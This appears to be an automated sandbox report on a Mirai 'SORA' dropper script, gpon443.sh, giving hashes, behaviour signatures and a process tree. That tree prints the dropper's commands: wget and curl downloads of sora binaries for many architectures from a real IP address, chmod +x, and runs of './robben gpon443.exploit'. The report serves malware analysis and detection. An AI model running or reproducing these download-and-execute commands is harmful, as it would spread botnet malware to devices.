Analysis
-
max time kernel
14s -
max time network
129s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
08/04/2025, 09:22
Static task
static1
Behavioral task
behavioral1
Sample
gpon443.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
gpon443.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
gpon443.sh
Resource
debian9-mipsbe-20240729-en
General
-
Target
gpon443.sh
-
Size
2KB
-
MD5
6744cd6370fc8925d67a9d5de8b6d122
-
SHA1
3e0fd96625b156bd1049739c814695e1bfc81574
-
SHA256
d7a78f3ff9cd3bbb0d640e593767bf0be713023537743676d4297e0f5aa5f87e
-
SHA512
591fdbf6b925a1aa1578248487ed70092601cb1753c12ee87316d4344401a6dde5026df6f26e7e1ab67dac84d1bb091f697e54343e93dd86ca14d3dcee2482c8
Malware Config
Extracted
mirai
SORA
Extracted
mirai
SORA
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1579 chmod 1596 chmod 1527 chmod 1533 chmod 1561 chmod 1573 chmod 1585 chmod 1590 chmod 1521 chmod 1539 chmod 1544 chmod 1550 chmod 1556 chmod 1567 chmod -
Executes dropped EXE 14 IoCs
ioc pid Process /tmp/robben 1522 gpon443.sh /tmp/robben 1528 gpon443.sh /tmp/robben 1534 gpon443.sh /tmp/robben 1540 gpon443.sh /tmp/robben 1545 gpon443.sh /tmp/robben 1551 gpon443.sh /tmp/robben 1557 gpon443.sh /tmp/robben 1562 gpon443.sh /tmp/robben 1568 gpon443.sh /tmp/robben 1574 gpon443.sh /tmp/robben 1580 gpon443.sh /tmp/robben 1586 gpon443.sh /tmp/robben 1591 gpon443.sh /tmp/robben 1597 gpon443.sh -
resource yara_rule behavioral1/files/fstream-1.dat upx behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-5.dat upx behavioral1/files/fstream-7.dat upx -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1524 wget 1525 curl 1526 cat -
Writes file to tmp directory 26 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/robben gpon443.sh File opened for modification /tmp/sora.mips wget File opened for modification /tmp/sora.mips curl File opened for modification /tmp/sora.x86_64 curl File opened for modification /tmp/sora.i686 curl File opened for modification /tmp/sora.arm6 curl File opened for modification /tmp/sora.ppc wget File opened for modification /tmp/sora.sh4 curl File opened for modification /tmp/sora.i468 curl File opened for modification /tmp/sora.i686 wget File opened for modification /tmp/sora.arm5 wget File opened for modification /tmp/sora.arm5 curl File opened for modification /tmp/sora.arm7 wget File opened for modification /tmp/sora.ppc curl File opened for modification /tmp/sora.mpsl curl File opened for modification /tmp/sora.x86 wget File opened for modification /tmp/sora.x86 curl File opened for modification /tmp/sora.mpsl wget File opened for modification /tmp/sora.arm6 wget File opened for modification /tmp/sora.arm7 curl File opened for modification /tmp/sora.m68k curl File opened for modification /tmp/sora.sh4 wget File opened for modification /tmp/sora.x86_64 wget File opened for modification /tmp/sora.arm4 curl File opened for modification /tmp/sora.ppc440fp curl File opened for modification /tmp/sora.m68k wget
Processes
-
/tmp/gpon443.sh/tmp/gpon443.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1514 -
/usr/bin/wgetwget http://178.149.240.69/bins/sora.x862⤵
- Writes file to tmp directory
PID:1515
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.x862⤵
- Writes file to tmp directory
PID:1519
-
-
/bin/catcat sora.x862⤵PID:1520
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.x86 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1521
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1524
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1525
-
-
/bin/catcat sora.mips2⤵
- System Network Configuration Discovery
PID:1526
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.mips sora.x86 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1527
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1528
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1530
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:1531
-
-
/bin/catcat sora.x86_642⤵PID:1532
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.mips sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1533
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1534
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.i4682⤵PID:1536
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.i4682⤵
- Writes file to tmp directory
PID:1537
-
-
/bin/catcat sora.i4682⤵PID:1538
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.i468 sora.mips sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1539
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1540
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1541
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.i6862⤵
- Writes file to tmp directory
PID:1542
-
-
/bin/catcat sora.i6862⤵PID:1543
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1544
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1547
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:1548
-
-
/bin/catcat sora.mpsl2⤵PID:1549
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1550
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1551
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm42⤵PID:1553
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm42⤵
- Writes file to tmp directory
PID:1554
-
-
/bin/catcat sora.arm42⤵PID:1555
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1556
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1557
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1558
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm52⤵
- Writes file to tmp directory
PID:1559
-
-
/bin/catcat sora.arm52⤵PID:1560
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1561
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1562
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1564
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm62⤵
- Writes file to tmp directory
PID:1565
-
-
/bin/catcat sora.arm62⤵PID:1566
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1567
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1568
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1570
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.arm72⤵
- Writes file to tmp directory
PID:1571
-
-
/bin/catcat sora.arm72⤵PID:1572
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1573
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1574
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1576
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:1577
-
-
/bin/catcat sora.ppc2⤵PID:1578
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1579
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1580
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.ppc440fp2⤵PID:1582
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.ppc440fp2⤵
- Writes file to tmp directory
PID:1583
-
-
/bin/catcat sora.ppc440fp2⤵PID:1584
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1585
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1586
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1587
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:1588
-
-
/bin/catcat sora.m68k2⤵PID:1589
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1590
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1591
-
-
/usr/bin/wgetwget http://178.149.240.69/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1593
-
-
/usr/bin/curlcurl -O http://178.149.240.69/bins/sora.sh42⤵
- Writes file to tmp directory
PID:1594
-
-
/bin/catcat sora.sh42⤵PID:1595
-
-
/bin/chmodchmod +x config-err-g8hyb1 gpon443.sh netplan_3nzhnqb8 robben snap-private-tmp sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64 ssh-iCrTXwCU3LRQ systemd-private-3755184852b9410b9c61f66c850cdcaf-bolt.service-mAgkmE systemd-private-3755184852b9410b9c61f66c850cdcaf-colord.service-03FRqK systemd-private-3755184852b9410b9c61f66c850cdcaf-ModemManager.service-4ROve2 systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-resolved.service-yjJ1Ef systemd-private-3755184852b9410b9c61f66c850cdcaf-systemd-timedated.service-YYWrye2⤵
- File and Directory Permissions Modification
PID:1596
-
-
/tmp/robben./robben gpon443.exploit2⤵PID:1597
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
28KB
MD5c665be249de8aacbf7f020710556850f
SHA17bf15fe8983c1a7304ecb626385fd8d656657750
SHA256c70c7d6288ddd3de1e999fef3e15a4cb7d23656de44209d834ea08c97f26f2c3
SHA5122125eacc929f9f6ab5232960153e3a3c2d554cd3f65fa7fb97324a275ce27034621999f2922aaa2a4beeeda75d09b2ff89aab6417e2f93329f56ce2529cd14d8
-
Filesize
28KB
MD5cb095025fabaf4935e7cde669f9b83cb
SHA1f057ff497853eac9b47772ae58a6be561c16edf7
SHA256d0a729eda4e98c132a68864f1feb9f2676840909d2584c4e8225ac058af1581f
SHA512e4df6b3d5de8f2e09c31321931f471b2acf08f24457ac13c59aa24ede5e579db85c07cd447015ddfcf00be0d828277c03598bb732aad9e4928f83c54b7a18739
-
Filesize
212B
MD583ab6cd9a67528bbc6f4f360cb7f8d83
SHA107e8f17209e0569aab39f062568ff0090d9b20d4
SHA2563ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435
SHA512171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f
-
Filesize
28KB
MD5659a441fb5d03828d0e1dcdc8e94515c
SHA1bf70af5209d2a89bd12c9a9d4b148ddd9b4af02f
SHA2560e878390d0a19156525789562bacf861294b18a9308312e4a9c943d6e900ff44
SHA51225d5d73027f64202338f40ae6ee71b12fa64db01e5b82afe2a3bb7abb415c19246b4368ddb1f98041a439155cadafd7eb7894e67eb31d84f205acc62b70d6cb8
-
Filesize
64KB
MD5d3114b8b81fe0dabf36ebb38e3f69ffe
SHA1ef38c94966a0649c3797af3adb5287c887ef122a
SHA2562d760402220357d43f57edbef3d9e8d9f0526a6c677b4cb77dd63eaceb6f67d1
SHA512d43b02f9ca7a489270f552c1a89b3c6d36270fa06090a9cdfe64f506ac3d0eb344de161a25c639128ac66ac77573b389087f36939177f3cc189ec39a23addc72
-
Filesize
27KB
MD5ed0134170c819d0a2c3526f5ed8ecad5
SHA1af1324bb6e6554b496e5938185f74456b69e54e1
SHA256cd67a9db1c069d8a9ee68a76c68d20c53659d319425ecabf8a0c5b193aeb6fe8
SHA51298ebd8a6a42f7c3a324cacc429d27fdd5cecf9995971adefdef184e15926741263a19429fa2966a4ced0d00fa715a36028e23b8e7cf5a5e0e567296d34b56ab6